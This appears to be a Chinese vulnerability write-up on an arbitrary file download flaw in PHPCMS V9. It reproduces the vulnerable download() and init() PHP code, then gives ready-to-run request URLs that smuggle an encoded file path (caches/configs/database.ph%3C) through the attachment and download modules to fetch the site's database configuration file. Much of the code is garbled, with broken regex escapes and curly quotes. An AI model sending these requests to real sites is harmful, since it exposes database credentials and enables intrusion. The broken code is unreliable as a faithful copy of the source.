时间:2023-04-24 19:03:02 | 来源:网站运营
时间:2023-04-24 19:03:02 来源:网站运营
PHPCMS V9 任意文件下载:public function download() { $a_k = trim($_GET[‘a_k’]); $pc_auth_key = md5(pc_base::load_config(‘system’,’auth_key’).$_SERVER[‘HTTP_USER_AGENT’].’down’); $a_k = sys_auth($a_k, ‘DECODE’, $pc_auth_key); if(empty($a_k)) showmessage(L(‘illegal_parameters’)); unset($I,$m,$f,$t,$ip); parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L(‘illegal_parameters’)); if(!isset($modelid)) showmessage(L(‘illegal_parameters’)); if(empty($f)) showmessage(L(‘url_invalid’)); if(!$I || $m<0) showmessage(L(‘illegal_parameters’)); if(!isset($t)) showmessage(L(‘illegal_parameters’)); if(!isset($ip)) showmessage(L(‘illegal_parameters’)); $starttime = intval($t); if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$f) || strpos($f, “://”)!==FALSE || strpos($f,’..’)!==FALSE) showmessage(L(‘url_error’)); $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match(“/[0-9]{10}/“, $starttime) || !preg_match(“/[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/“, $ip) || $ip != ip()) showmessage(L(‘illegal_parameters’)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L(‘url_invalid’)); if($m) $fileurl = trim($s).trim($fileurl); if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$fileurl) ) showmessage(L(‘url_error’)); //远程文件 if(strpos($fileurl, ‘:/‘) && (strpos($fileurl, pc_base::load_config(‘system’,’upload_url’)) === false)) { header(“Location: $fileurl”); } else { if($d == 0) { header(“Location: “.$fileurl); } else { $fileurl = str_replace(array(pc_base::load_config(‘system’,’upload_url’),’/‘), array(pc_base::load_config(‘system’,’upload_path’),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl); //处理中文文件 if(preg_match(“/^([/s/S]*?)([/x81-/xfe][/x40-/xfe])([/s/S]*?)/“, $fileurl)) { $filename = str_replace(array(“%5C”, “%2F”, “%3A”), array(“//”, “/“, “:”), urlencode($fileurl)); $filename = urldecode(basename($filename)); } $ext = fileext($filename); $filename = date(‘Ymd_his’).random(3).’.’.$ext; file_down($fileurl, $filename); } } }
if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$f) || strpos($f, “://”)!==FALSE || strpos($f,’..’)!==FALSE) showmessage(L(‘url_error’));if(strpos($f, ‘http://') !== FALSE || strpos($f, ‘ftp://') !== FALSE || strpos($f, ‘://‘) === FALSE) { $pc_auth_key = md5(pc_base::load_config(‘system’,’auth_key’).$_SERVER[‘HTTP_USER_AGENT’].’down’); $a_k = urlencode(sys_auth(“I=$I&d=$d&s=$s&t=“.SYS_TIME.”&ip=“.ip().”&m=“.$m.”&f=$f&modelid=“.$modelid, ‘ENCODE’, $pc_auth_key)); $downurl = ‘?m=content&c=down&a=download&a_k=‘.$a_k;} else { $downurl = $f; }include template(‘content’,’download’);
public function init() { $a_k = trim($_GET[‘a_k’]); if(!isset($a_k)) showmessage(L(‘illegal_parameters’)); $a_k = sys_auth($a_k, ‘DECODE’, pc_base::load_config(‘system’,’auth_key’)); if(empty($a_k)) showmessage(L(‘illegal_parameters’)); unset($I,$m,$f); parse_str($a_k);
127.0.0.1/index.php?m=wap&c=index&siteid=1
URL: 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj
127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&I=1&d=1&
127.0.0.1/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE
关键词:文件,任意